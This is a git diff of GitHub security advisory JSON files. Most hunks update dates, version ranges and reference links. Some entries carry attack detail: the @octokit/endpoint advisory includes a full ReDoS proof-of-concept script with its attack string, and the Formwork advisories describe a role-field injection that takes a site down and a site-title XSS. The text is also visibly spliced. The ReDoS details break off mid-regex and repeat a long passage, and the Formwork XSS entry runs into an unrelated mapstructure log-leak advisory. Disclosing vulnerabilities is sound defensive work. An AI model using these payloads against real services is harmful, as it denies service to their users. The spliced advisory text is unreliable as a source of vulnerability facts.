a/advisories/github-reviewed/2024/12/GHSA-xx83-cxmq-x89m/GHSA-xx83-cxmq-x89m.json +++ b/advisories/github-reviewed/2024/12/GHSA-xx83-cxmq-x89m/GHSA-xx83-cxmq-x89m.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-xx83-cxmq-x89m", - "modified": "2024-12-13T20:37:17Z", + "modified": "2025-12-31T22:00:42Z", "published": "2024-12-13T00:30:50Z", "aliases": [ "CVE-2024-12289" @@ -51,7 +51,8 @@ ], "database_specific": { "cwe_ids": [ - "CWE-460" + "CWE-460", + "CWE-665" ], "severity": "MODERATE", "github_reviewed": true, diff --git a/advisories/github-reviewed/2025/01/GHSA-5wjw-h8x5-v65m/GHSA-5wjw-h8x5-v65m.json b/advisories/github-reviewed/2025/01/GHSA-5wjw-h8x5-v65m/GHSA-5wjw-h8x5-v65m.json index 2eb66e26aa26f..9860d1733d6e8 100644 --- a/advisories/github-reviewed/2025/01/GHSA-5wjw-h8x5-v65m/GHSA-5wjw-h8x5-v65m.json +++ b/advisories/github-reviewed/2025/01/GHSA-5wjw-h8x5-v65m/GHSA-5wjw-h8x5-v65m.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-5wjw-h8x5-v65m", - "modified": "2025-01-16T19:05:32Z", + "modified": "2026-02-10T15:30:20Z", "published": "2025-01-14T18:32:06Z", "withdrawn": "2025-01-16T19:05:32Z", "aliases": [], @@ -39,6 +39,18 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23366" }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:10924" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:10925" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:10926" + }, { "type": "WEB", "url": "https://access.redhat.com/security/cve/CVE-2025-23366" diff --git a/advisories/github-reviewed/2025/01/GHSA-8c3x-hq82-gjcm/GHSA-8c3x-hq82-gjcm.json b/advisories/github-reviewed/2025/01/GHSA-8c3x-hq82-gjcm/GHSA-8c3x-hq82-gjcm.json index b2c1b0c55102f..832b6e5382860 100644 --- a/advisories/github-reviewed/2025/01/GHSA-8c3x-hq82-gjcm/GHSA-8c3x-hq82-gjcm.json +++ b/advisories/github-reviewed/2025/01/GHSA-8c3x-hq82-gjcm/GHSA-8c3x-hq82-gjcm.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-8c3x-hq82-gjcm", - "modified": "2025-01-24T21:40:45Z", + "modified": "2026-01-28T23:21:27Z", "published": "2025-01-24T18:33:29Z", "aliases": [ "CVE-2024-52807" @@ -67,6 +67,10 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52807" }, + { + "type": "WEB", + "url": "https://github.com/HL7/fhir-ig-publisher/commit/3560de2f486d688a3ddcf4aa54d8bdacea380c3d" + }, { "type": "PACKAGE", "url": "https://github.com/HL7/fhir-ig-publisher" diff --git a/advisories/github-reviewed/2025/02/GHSA-22qq-3xwm-r5x4/GHSA-22qq-3xwm-r5x4.json b/advisories/github-reviewed/2025/02/GHSA-22qq-3xwm-r5x4/GHSA-22qq-3xwm-r5x4.json index eb7179b2368fd..0465ae49650e9 100644 --- a/advisories/github-reviewed/2025/02/GHSA-22qq-3xwm-r5x4/GHSA-22qq-3xwm-r5x4.json +++ b/advisories/github-reviewed/2025/02/GHSA-22qq-3xwm-r5x4/GHSA-22qq-3xwm-r5x4.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-22qq-3xwm-r5x4", - "modified": "2025-11-18T18:36:13Z", + "modified": "2026-03-09T20:46:44Z", "published": "2025-02-03T15:55:28Z", "aliases": [ "CVE-2025-24371" ], "summary": "CometBFT allows a malicious peer to make node stuck in blocksync", - "details": "Name: ASA-2025-001: Malicious peer can disrupt node's ability to sync via blocksync\nComponent: CometBFT\nCriticality: Medium (Considerable Impact; Possible Likelihood per [ACMv1.2](https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md))\nAffected versions: <= v0.38.16, v1.0.0\nAffected users: Validators, Full nodes\n\n### Impact\n\nA malicious peer may be able to interfere with a node's ability to sync blocks with peers via the blocksync mechanism. \n\nIn the `blocksync` protocol peers send their `base` and `latest` heights when they connect to a new node (`A`), which is syncing to the tip of a network. `base` acts as a lower ground and informs `A` that the peer only has blocks starting from height `base`. `latest` height informs `A` about the latest block in a network. Normally, nodes would only report increasing heights:\n\n```\nB: {base: 100, latest: 1000}\nB: {base: 100, latest: 1001}\nB: {base: 100, latest: 1002}\n...\n```\n\nIf `B` fails to provide the latest block, `B` is removed and the `latest` height (target height) is recalculated based on other nodes `latest` heights.\n\nThe existing code hovewer doesn't check for the case where `B` first reports `latest` height `X` and immediately after height `Y`, where `X > Y`. For example:\n\n```\nB: {base: 100, latest: 2000}\nB: {base: 100, latest: 1001}\nB: {base: 100, latest: 1002}\n...\n```\n\n`A` will be trying to catch up to 2000 indefinitely. Even if `B` disconnects, the `latest` height (target height) won't be recalculated because `A` \"doesn't know where 2000\" came from per see.\n\n#### Impact Qualification\n\nThis condition requires the introduction of malicious code in the full node first reporting a non-existing `latest` height, then reporting lower `latest` height and nodes which are syncing using `blocksync` protocol.\n\n### Patches\n\nThe new CometBFT releases [v1.0.1](https://github.com/cometbft/cometbft/releases/tag/v1.0.1) and [v0.38.17](https://github.com/cometbft/cometbft/releases/tag/v0.38.17) fix this issue.\n\nUnreleased code in the main is patched as well.\n\n### Workarounds\n\nWhen the operator notices `blocksync` is stuck, they can identify the peer from which that message with \"invalid\" height was received. This may require increasing the logging level of the `blocksync` module. This peer can then be subsequently banned at the p2p layer as a temporary mitigation.\n\n### References\n\nIf you have questions about Interchain security efforts, please reach out to our official communication channel at [security@interchain.io](mailto:security@interchain.io). For more information about the Interchain Foundation’s engagement with Amulet, and to sign up for security notification emails, please see https://github.com/interchainio/security. \n\nA Github Security Advisory for this issue is available in the CometBFT [repository](https://github.com/cometbft/cometbft/security/advisories/GHSA-22qq-3xwm-r5x4). For more information about CometBFT, see https://docs.cometbft.com/.", + "details": "Name: ASA-2025-001: Malicious peer can disrupt node's ability to sync via blocksync\nComponent: CometBFT\n[OUTDATED] Criticality: Medium (Considerable Impact; Possible Likelihood per [ACMv1.2](https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md))\n**Update of Criticality on 2026-03-06**: We've made a mistake and over-rated the criticality of this bug in our initial triage. We have calibrated our vulnerability rating internally and updated the criticality of this bug to be Informational (Negligible Impact, Possible Likelihood)\nAffected versions: <= v0.38.16, v1.0.0\nAffected users: Validators, Full nodes\n\n### Impact\n\nA malicious peer may be able to interfere with a node's ability to sync blocks with peers via the blocksync mechanism. \n\nIn the `blocksync` protocol peers send their `base` and `latest` heights when they connect to a new node (`A`), which is syncing to the tip of a network. `base` acts as a lower ground and informs `A` that the peer only has blocks starting from height `base`. `latest` height informs `A` about the latest block in a network. Normally, nodes would only report increasing heights:\n\n```\nB: {base: 100, latest: 1000}\nB: {base: 100, latest: 1001}\nB: {base: 100, latest: 1002}\n...\n```\n\nIf `B` fails to provide the latest block, `B` is removed and the `latest` height (target height) is recalculated based on other nodes `latest` heights.\n\nThe existing code hovewer doesn't check for the case where `B` first reports `latest` height `X` and immediately after height `Y`, where `X > Y`. For example:\n\n```\nB: {base: 100, latest: 2000}\nB: {base: 100, latest: 1001}\nB: {base: 100, latest: 1002}\n...\n```\n\n`A` will be trying to catch up to 2000 indefinitely. Even if `B` disconnects, the `latest` height (target height) won't be recalculated because `A` \"doesn't know where 2000\" came from per see.\n\n#### Impact Qualification\n\nThis condition requires the introduction of malicious code in the full node first reporting a non-existing `latest` height, then reporting lower `latest` height and nodes which are syncing using `blocksync` protocol.\n\n### Patches\n\nThe new CometBFT releases [v1.0.1](https://github.com/cometbft/cometbft/releases/tag/v1.0.1) and [v0.38.17](https://github.com/cometbft/cometbft/releases/tag/v0.38.17) fix this issue.\n\nUnreleased code in the main is patched as well.\n\n### Workarounds\n\nWhen the operator notices `blocksync` is stuck, they can identify the peer from which that message with \"invalid\" height was received. This may require increasing the logging level of the `blocksync` module. This peer can then be subsequently banned at the p2p layer as a temporary mitigation.\n\n### References\n\nIf you have questions about Interchain security efforts, please reach out to our official communication channel at [security@interchain.io](mailto:security@interchain.io). For more information about the Interchain Foundation’s engagement with Amulet, and to sign up for security notification emails, please see https://github.com/interchainio/security. \n\nA Github Security Advisory for this issue is available in the CometBFT [repository](https://github.com/cometbft/cometbft/security/advisories/GHSA-22qq-3xwm-r5x4). For more information about CometBFT, see https://docs.cometbft.com/.\n\nEDIT:\n\nPlease notice that this has been updated to be `informational` severity. This can be avoided by ensuring that one is not connected to a malicious peer during blocksync.", "severity": [ { "type": "CVSS_V4", diff --git a/advisories/github-reviewed/2025/02/GHSA-76p7-773f-r4q5/GHSA-76p7-773f-r4q5.json b/advisories/github-reviewed/2025/02/GHSA-76p7-773f-r4q5/GHSA-76p7-773f-r4q5.json index 7241b3b564f25..ae9c28bfdeebc 100644 --- a/advisories/github-reviewed/2025/02/GHSA-76p7-773f-r4q5/GHSA-76p7-773f-r4q5.json +++ b/advisories/github-reviewed/2025/02/GHSA-76p7-773f-r4q5/GHSA-76p7-773f-r4q5.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-76p7-773f-r4q5", - "modified": "2025-11-28T21:31:18Z", + "modified": "2026-02-17T03:30:15Z", "published": "2025-02-10T18:30:47Z", "aliases": [ "CVE-2024-11831" @@ -64,6 +64,14 @@ "type": "WEB", "url": "https://access.redhat.com/security/cve/CVE-2024-11831" }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:2769" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:1536" + }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2025:9294" diff --git a/advisories/github-reviewed/2025/02/GHSA-8rgj-285w-qcq4/GHSA-8rgj-285w-qcq4.json b/advisories/github-reviewed/2025/02/GHSA-8rgj-285w-qcq4/GHSA-8rgj-285w-qcq4.json index 29ef50221b1a9..8f31eea0f9392 100644 --- a/advisories/github-reviewed/2025/02/GHSA-8rgj-285w-qcq4/GHSA-8rgj-285w-qcq4.json +++ b/advisories/github-reviewed/2025/02/GHSA-8rgj-285w-qcq4/GHSA-8rgj-285w-qcq4.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-8rgj-285w-qcq4", - "modified": "2025-02-10T17:59:09Z", + "modified": "2026-01-16T21:59:48Z", "published": "2025-02-10T17:59:09Z", "aliases": [], "summary": "Unknown vulnerability in Coinbase Wallet SDK", @@ -18,7 +18,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "4.0" + "introduced": "4.0.0-beta.0" }, { "fixed": "4.3.0" diff --git a/advisories/github-reviewed/2025/02/GHSA-mrqp-q7vx-v2cx/GHSA-mrqp-q7vx-v2cx.json b/advisories/github-reviewed/2025/02/GHSA-mrqp-q7vx-v2cx/GHSA-mrqp-q7vx-v2cx.json index 7233e474e8d91..c3a15674855ae 100644 --- a/advisories/github-reviewed/2025/02/GHSA-mrqp-q7vx-v2cx/GHSA-mrqp-q7vx-v2cx.json +++ b/advisories/github-reviewed/2025/02/GHSA-mrqp-q7vx-v2cx/GHSA-mrqp-q7vx-v2cx.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-mrqp-q7vx-v2cx", - "modified": "2025-02-14T00:32:57Z", + "modified": "2026-01-22T21:47:02Z", "published": "2025-02-13T17:16:27Z", "aliases": [ "CVE-2025-26511" @@ -63,6 +63,10 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26511" }, + { + "type": "WEB", + "url": "https://github.com/instaclustr/cassandra-lucene-index/commit/44ab4b639c9354a6335f40b1cf6178c745c6e101" + }, { "type": "WEB", "url": "https://github.com/instaclustr/cassandra-lucene-index/commit/94380b165bd3e597d3e22e47f8cc674ec7c7bf7f" diff --git a/advisories/github-reviewed/2025/02/GHSA-rmvr-2pp2-xj38/GHSA-rmvr-2pp2-xj38.json b/advisories/github-reviewed/2025/02/GHSA-rmvr-2pp2-xj38/GHSA-rmvr-2pp2-xj38.json index 9fec34dc867bd..464906a96f070 100644 --- a/advisories/github-reviewed/2025/02/GHSA-rmvr-2pp2-xj38/GHSA-rmvr-2pp2-xj38.json +++ b/advisories/github-reviewed/2025/02/GHSA-rmvr-2pp2-xj38/GHSA-rmvr-2pp2-xj38.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-rmvr-2pp2-xj38", - "modified": "2025-02-18T19:17:40Z", + "modified": "2026-01-16T17:29:36Z", "published": "2025-02-14T18:00:18Z", "aliases": [ "CVE-2025-25290" @@ -67,6 +67,14 @@ "type": "WEB", "url": "https://github.com/octokit/request.js/commit/34ff07ee86fc5c20865982d77391bc910ef19c68" }, + { + "type": "WEB", + "url": "https://github.com/octokit/request.js/commit/356411e3217019aa9fc8a68f4236af82490873c2" + }, + { + "type": "WEB", + "url": "https://github.com/octokit/request.js/commit/6bb29ba92a52f7bf94469c3433707c682c17126c" + }, { "type": "PACKAGE", "url": "https://github.com/octokit/request.js" @@ -74,6 +82,10 @@ { "type": "WEB", "url": "https://github.com/octokit/request.js/releases/tag/v8.4.1" + }, + { + "type": "WEB", + "url": "https://github.com/octokit/request.js/releases/tag/v9.2.1" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/02/GHSA-x4c5-c7rf-jjgv/GHSA-x4c5-c7rf-jjgv.json b/advisories/github-reviewed/2025/02/GHSA-x4c5-c7rf-jjgv/GHSA-x4c5-c7rf-jjgv.json index b83b5f4fb7e45..113ac1a613404 100644 --- a/advisories/github-reviewed/2025/02/GHSA-x4c5-c7rf-jjgv/GHSA-x4c5-c7rf-jjgv.json +++ b/advisories/github-reviewed/2025/02/GHSA-x4c5-c7rf-jjgv/GHSA-x4c5-c7rf-jjgv.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-x4c5-c7rf-jjgv", - "modified": "2025-02-14T22:19:51Z", + "modified": "2026-02-17T16:11:00Z", "published": "2025-02-14T17:56:18Z", "aliases": [ "CVE-2025-25285" ], "summary": "@octokit/endpoint has a Regular Expression in parse that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking", - "details": "### Summary\nBy crafting specific `options` parameters, the `endpoint.parse(options)` call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization.\n\n### Details\nThe issue occurs in the `parse` function within the `parse.ts` file of the npm package `@octokit/endpoint`. The specific code is located at the following link: https://github.com/octokit/endpoint.js/blob/main/src/parse.ts, at line 62:\n```ts\nheaders.accept.match(/[\\w-]+(?=-preview)/g) || ([] as string[]);\n```\nThe regular expression `/[\\w-]+(?=-preview)/g` encounters a backtracking issue when it processes `a large number of characters` followed by the `-` symbol.\ne.g., the attack string: \n```js\n\"\" + \"A\".repeat(100000) + \"-\"\n```\n\n### PoC\n[The gist](https://gist.github.com/ShiyuBanzhou/a17202ac1ad403a80ca302466d5e56c4)\nHere is the reproduction process for the vulnerability:\n1. run 'npm i @octokit/endpoint'\n2. Move `poc.js` to the root directory of the same level as `README.md`\n3. run 'node poc.js'\nresult:\n4. then the program will stuck forever with high CPU usage\n```js\nimport { endpoint } from \"@octokit/endpoint\";\n// import { parse } from \"./node_modules/@octokit/endpoint/dist-src/parse.js\";\nconst options = { \n method: \"POST\",\n url: \"/graphql\", // Ensure that the URL ends with \"/graphql\"\n headers: {\n accept: \"\" + \"A\".repeat(100000) + \"-\", // Pass in the attack string\n \"content-type\": \"text/plain\",\n },\n mediaType: {\n previews: [\"test-preview\"], // Ensure that mediaType.previews exists and has values\n format: \"raw\", // Optional media format\n },\n baseUrl: \"https://api.github.com\",\n};\n\nconst startTime = performance.now();\nendpoint.parse(options);\nconst endTime = performance.now();\nconst duration = endTime - startTime;\nconsole.log(`Endpoint execution time: ${duration} ms`);\n```\n1. **Import the `endpoint` module**: First, import the `endpoint` module from the npm package `@octokit/endpoint`, which is used for handling GitHub API requests.\n\n2. **Construct the `options` object that triggers a ReDoS attack**: The following member variables are critical in constructing the `options` object:\n- `url`: Set to `\"/graphql\"`, ensuring the URL ends with `/graphql` to match the format for GitHub's GraphQL API.\n- `headers`:\n> `accept`: A long attack string is crafted with `\"A\".repeat(100000) + \"-\"`, which will be passed to the regular expression and cause a backtracking attack (ReDoS).\n> \n- `mediaType`:\n>`previews`: Set to `[\"test-preview\"]`, ensuring `mediaType.previews` exists and has values.\n>\n>`format`: Set to `\"raw\"`, indicating raw data format.\n\n3. **Call the `endpoint.parse(options)` function and record the time**: Call the `endpoint.parse(options)` function and use `performance.now()` to record the start and end times, measuring the execution duration.\n\n4. **Calculate the time difference and output it**: Compute the difference between the start and end times and output it using `console.log`. When the attack string length reaches 100000, the response time typically exceeds 10000 milliseconds, satisfying the characteristic condition for a ReDoS attack, where response times dramatically increase.\n\"2\"\n\n### Impact\n#### What kind of vulnerability is it?\nThis is a **Regular Expression Denial of Service (ReDoS)** vulnerability. It arises from inefficient regular expressions that can cause excessive backtracking when processing certain inputs. Specifically, the regular expression `/[\\w-]+(?=-preview)/g` is vulnerable because it attempts to match long strings of characters followed by a hyphen (`-`), which leads to inefficient backtracking when provided with specially crafted attack strings. This backtracking results in high CPU utilization, causing the application to become unresponsive and denying service to legitimate users.\n#### Who is impacted?\nThis vulnerability impacts any application that uses the affected regular expression in conjunction with user-controlled inputs, particularly where large or maliciously crafted strings can trigger excessive backtracking.\nIn addition to directly affecting applications using the `@octokit/endpoint package`, the impact is more widespread because `@octokit/endpoint` is a library used to wrap REST APIs, including GitHub's API. This means that any system or service built on top of this library that interacts with GitHub or other REST APIs could be vulnerable. Given the extensive use of this package in API communication, the potential for exploitation is broad and serious. The vulnerability could affect a wide range of applications, from small integrations to large enterprise-level systems, especially those relying on the package to handle API requests.\nAttackers can exploit this vulnerability to cause performance degradation, downtime, and service disruption, making it a critical issue for anyone using the affected version of `@octokit/endpoint`.\n\n### Solution\nTo resolve the ReDoS vulnerability, the regular expression should be updated to avoid excessive backtracking. By modifying the regular expression to `(? `accept`: A long attack string is crafted with `\"A\".repeat(100000) + \"-\"`, which will be passed to the regular expression and cause a backtracking attack (ReDoS).\n> \n- `mediaType`:\n>`previews`: Set to `[\"test-preview\"]`, ensuring `mediaType.previews` exists and has values.\n>\n>`format`: Set to `\"raw\"`, indicating raw data format.\n\n3. **Call the `endpoint.parse(options)` function and record the time**: Call the `endpoint.parse(options)` function and use `performance.now()` to record the start and end times, measuring the execution duration.\n\n4. **Calculate the time difference and output it**: Compute the difference between the start and end times and output it using `console.log`. When the attack string length reaches 100000, the response time typically exceeds 10000 milliseconds, satisfying the characteristic condition for a ReDoS attack, where response times dramatically increase.\n\"2\"\n\n### Impact\n#### What kind of vulnerability is it?\nThis is a **Regular Expression Denial of Service (ReDoS)** vulnerability. It arises from inefficient regular expressions that can cause excessive backtracking when processing certain inputs. Specifically, the regular expression `/[\\w-]+(?=-preview)/g` is vulnerable because it attempts to match long strings of characters followed by a hyphen (`-`), which leads to inefficient backtracking when provided with specially crafted attack strings. This backtracking results in high CPU utilization, causing the application to become unresponsive and denying service to legitimate users.\n#### Who is impacted?\nThis vulnerability impacts any application that uses the affected regular expression in conjunction with user-controlled inputs, particularly where large or maliciously crafted strings can trigger excessive backtracking.\nIn addition to directly affecting applications using the `@octokit/endpoint` package, the impact is more widespread because `@octokit/endpoint` is a library used to wrap REST APIs, including GitHub's API. This means that any system or service built on top of this library that interacts with GitHub or other REST APIs could be vulnerable. Given the extensive use of this package in API communication, the potential for exploitation is broad and serious. The vulnerability could affect a wide range of applications, from small integrations to large enterprise-level systems, especially those relying on the package to handle API requests.\nAttackers can exploit this vulnerability to cause performance degradation, downtime, and service disruption, making it a critical issue for anyone using the affected version of `@octokit/endpoint`.\n\n### Solution\nTo resolve the ReDoS vulnerability, the regular expression should be updated to avoid excessive backtracking. By modifying the regular expression to `(?\") into the Role=User parameter in the /panel/users/{name}/profile page, which is the user profile update page.\nDoing this will change the users data in a way that prevents users and then the entire site from loading. Even though the actual data change is minimal, the error is unrecoverable until a valid role parameter is restored by direct modification of the user account file.\nProper validation of select fields will prevent extraneous valid from being accepted and making the entire site and administration panel unavailable.\n\n### Patches\n- [**Formwork 2.x** (d9f0c1f)](https://github.com/getformwork/formwork/commit/d9f0c1feb3b9855d5bdc8bb189c0aaab2792e7ca) adds proper validation to select fields.\n\n### Impact\n\nThe condition for this attack is having high privileges or Admin access, which means it could be exploited by an Insider Threat. Alternatively, if an attacker gains access to a privileged user account, they can execute the attack as well.\nOverall, the attack is relatively difficult to carry out, but if successful, the impact and damage would be significant.\n\n### PoC\n\n![2025-02-27_10-25](https://github.com/user-attachments/assets/4b5a2d71-3397-4a5b-8464-35752376115a)\n\n1. Intercept the request and inject an input that will trigger an error.\n\n![2025-02-27_10-25_1](https://github.com/user-attachments/assets/a888c109-a724-4478-ae80-d9e8b05ef1aa)\n\n![image](https://github.com/user-attachments/assets/e81bb9fc-8c92-413c-8cc0-0bcffd2e2922)\n\n2.After that, it will be observed that the system is shut down or completely broken. Even changing the browser or resetting the server will not be able to restore it.", + "details": "### Summary\nImproper validation of select fields allows attackers to craft an input that crashes the system, resulting in a 500 status and making the entire site and administration panel unavailable.\nThis clearly impacts the Availability aspect of the CIA triad (confidentiality, integrity, and availability), although the attack still has certain limitations.\n\n### Details\nThe attack involves injecting any invalid user role value. Doing this will change the users data in a way that prevents users and then the entire site from loading. Even though the actual data change is minimal, the error is unrecoverable until a valid role parameter is restored by direct modification of the user account file.\nProper validation of select fields will prevent extraneous valid from being accepted and making the entire site and administration panel unavailable.\n\n### Patches\n- [**Formwork 2.x** (d9f0c1f)](https://github.com/getformwork/formwork/commit/d9f0c1feb3b9855d5bdc8bb189c0aaab2792e7ca) adds proper validation to select fields.\n\n### Impact\nThe condition for this attack is having high privileges or Admin access, which means it could be exploited by an Insider Threat. Alternatively, if an attacker gains access to a privileged user account, they can execute the attack as well.\nOverall, the attack is relatively difficult to carry out, but if successful, the impact and damage would be significant.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2025/03/GHSA-f82v-jwr5-mffw/GHSA-f82v-jwr5-mffw.json b/advisories/github-reviewed/2025/03/GHSA-f82v-jwr5-mffw/GHSA-f82v-jwr5-mffw.json index eb249c46e3d88..f9b9347552e75 100644 --- a/advisories/github-reviewed/2025/03/GHSA-f82v-jwr5-mffw/GHSA-f82v-jwr5-mffw.json +++ b/advisories/github-reviewed/2025/03/GHSA-f82v-jwr5-mffw/GHSA-f82v-jwr5-mffw.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-f82v-jwr5-mffw", - "modified": "2025-10-13T15:32:07Z", + "modified": "2026-03-02T16:59:03Z", "published": "2025-03-21T15:20:12Z", "aliases": [ "CVE-2025-29927" @@ -82,7 +82,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "11.1.4" + "introduced": "12.0.0" }, { "fixed": "12.3.5" diff --git a/advisories/github-reviewed/2025/03/GHSA-fwwp-xcxw-39vq/GHSA-fwwp-xcxw-39vq.json b/advisories/github-reviewed/2025/03/GHSA-fwwp-xcxw-39vq/GHSA-fwwp-xcxw-39vq.json index 85731a230749f..1681f8a625a7e 100644 --- a/advisories/github-reviewed/2025/03/GHSA-fwwp-xcxw-39vq/GHSA-fwwp-xcxw-39vq.json +++ b/advisories/github-reviewed/2025/03/GHSA-fwwp-xcxw-39vq/GHSA-fwwp-xcxw-39vq.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-fwwp-xcxw-39vq", - "modified": "2025-11-04T00:32:21Z", + "modified": "2026-02-04T21:49:28Z", "published": "2025-03-25T00:30:26Z", "aliases": [ "CVE-2025-24514" @@ -82,6 +82,10 @@ { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20250328-0008" + }, + { + "type": "WEB", + "url": "https://www.exploit-db.com/exploits/52475" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/03/GHSA-j3wr-m6xh-64hg/GHSA-j3wr-m6xh-64hg.json b/advisories/github-reviewed/2025/03/GHSA-j3wr-m6xh-64hg/GHSA-j3wr-m6xh-64hg.json index 009aeb62784e7..16445bbc9a8ed 100644 --- a/advisories/github-reviewed/2025/03/GHSA-j3wr-m6xh-64hg/GHSA-j3wr-m6xh-64hg.json +++ b/advisories/github-reviewed/2025/03/GHSA-j3wr-m6xh-64hg/GHSA-j3wr-m6xh-64hg.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-j3wr-m6xh-64hg", - "modified": "2025-03-21T17:40:52Z", + "modified": "2026-02-24T16:08:07Z", "published": "2025-03-20T12:32:43Z", "aliases": [ "CVE-2024-12704" @@ -18,7 +18,7 @@ { "package": { "ecosystem": "PyPI", - "name": "llama_index" + "name": "llama-index-core" }, "ranges": [ { diff --git a/advisories/github-reviewed/2025/03/GHSA-mgvx-rpfc-9mpv/GHSA-mgvx-rpfc-9mpv.json b/advisories/github-reviewed/2025/03/GHSA-mgvx-rpfc-9mpv/GHSA-mgvx-rpfc-9mpv.json index bc952fac467f8..33173d8f6eb31 100644 --- a/advisories/github-reviewed/2025/03/GHSA-mgvx-rpfc-9mpv/GHSA-mgvx-rpfc-9mpv.json +++ b/advisories/github-reviewed/2025/03/GHSA-mgvx-rpfc-9mpv/GHSA-mgvx-rpfc-9mpv.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-mgvx-rpfc-9mpv", - "modified": "2025-11-15T02:13:04Z", + "modified": "2026-02-04T21:49:40Z", "published": "2025-03-25T00:30:26Z", "aliases": [ "CVE-2025-1974" @@ -90,6 +90,10 @@ { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20250328-0008" + }, + { + "type": "WEB", + "url": "https://www.exploit-db.com/exploits/52475" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/03/GHSA-vf6x-59hh-332f/GHSA-vf6x-59hh-332f.json b/advisories/github-reviewed/2025/03/GHSA-vf6x-59hh-332f/GHSA-vf6x-59hh-332f.json index b09f8f6bf94da..e0a593b17c8f7 100644 --- a/advisories/github-reviewed/2025/03/GHSA-vf6x-59hh-332f/GHSA-vf6x-59hh-332f.json +++ b/advisories/github-reviewed/2025/03/GHSA-vf6x-59hh-332f/GHSA-vf6x-59hh-332f.json @@ -1,11 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-vf6x-59hh-332f", - "modified": "2025-03-17T20:27:03Z", + "modified": "2026-02-18T23:47:22Z", "published": "2025-03-01T00:11:46Z", "aliases": [], "summary": " Formwork has a cross-site scripting (XSS) vulnerability in Site title", - "details": "### Summary\n\nThe site title field at /panel/options/site/allows embedding JS tags, which can be used to attack all members of the system. This is a widespread attack and can cause significant damage if there is a considerable number of users.\n\n### Impact\n\nThe attack is widespread, leveraging what XSS can do. This will undoubtedly impact system availability.\n\n### Patches\n- [**Formwork 2.x** (aa3e9c6)](https://github.com/getformwork/formwork/commit/aa3e9c684035d9e8495169fde7c57d97faa3f9a2) escapes site title from panel header navigation.\n\n### Details\n\nBy embedding \" server logs:\n\n2025-06-25T21:32:25.101-0500 [ERROR] core: failed to run existence check: error=\"error converting input for field \\\"ttl\\\": time: invalid duration \\\"asdf\\\"\"\n```\n\n### Impact\n\nThis is an information disclosure bug with little mitigation. See https://discuss.hashicorp.com/t/hcsec-2025-09-vault-may-expose-sensitive-information-in-error-logs-when-processing-malformed-data-with-the-kv-v2-plugin/74717 for a previous version. That version was fixed, but this is in the second part of that error message (starting at `'' expected a map, got 'string'` -- when the field type is `string` and a `map` is provided, we see the above information leak -- the previous example had a `map` type field with a `string` value provided).\n\nThis was rated 4.5 Medium by HashiCorp in the past iteration.", "severity": [ @@ -41,10 +43,22 @@ "type": "WEB", "url": "https://github.com/go-viper/mapstructure/security/advisories/GHSA-2464-8j7c-4cjm" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11065" + }, { "type": "WEB", "url": "https://github.com/go-viper/mapstructure/commit/742921c9ba2854d27baa64272487fc5075d2c39c" }, + { + "type": "WEB", + "url": "https://access.redhat.com/security/cve/CVE-2025-11065" + }, + { + "type": "WEB", + "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391829" + }, { "type": "PACKAGE", "url": "https://github.com/go-viper/mapstructure" diff --git a/advisories/github-reviewed/2025/08/GHSA-6jcc-xgcr-q3h4/GHSA-6jcc-xgcr-q3h4.json b/advisories/github-reviewed/2025/08/GHSA-6jcc-xgcr-q3h4/GHSA-6jcc-xgcr-q3h4.json index 8f75e552ac026..943e415285e21 100644 --- a/advisories/github-reviewed/2025/08/GHSA-6jcc-xgcr-q3h4/GHSA-6jcc-xgcr-q3h4.json +++ b/advisories/github-reviewed/2025/08/GHSA-6jcc-xgcr-q3h4/GHSA-6jcc-xgcr-q3h4.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-6jcc-xgcr-q3h4", - "modified": "2025-08-11T13:56:21Z", + "modified": "2026-02-04T22:13:40Z", "published": "2025-08-08T14:29:48Z", "aliases": [ "CVE-2025-54888" @@ -141,7 +141,7 @@ }, { "type": "WEB", - "url": "https://github.com/fedify-dev/fedify/commit/226d9b84dbec52172a70138bba8861454afde42b" + "url": "https://github.com/fedify-dev/fedify/commit/14a2f8c6d2c3cbc00c3170a86ad3b7b8555c6847" }, { "type": "PACKAGE", 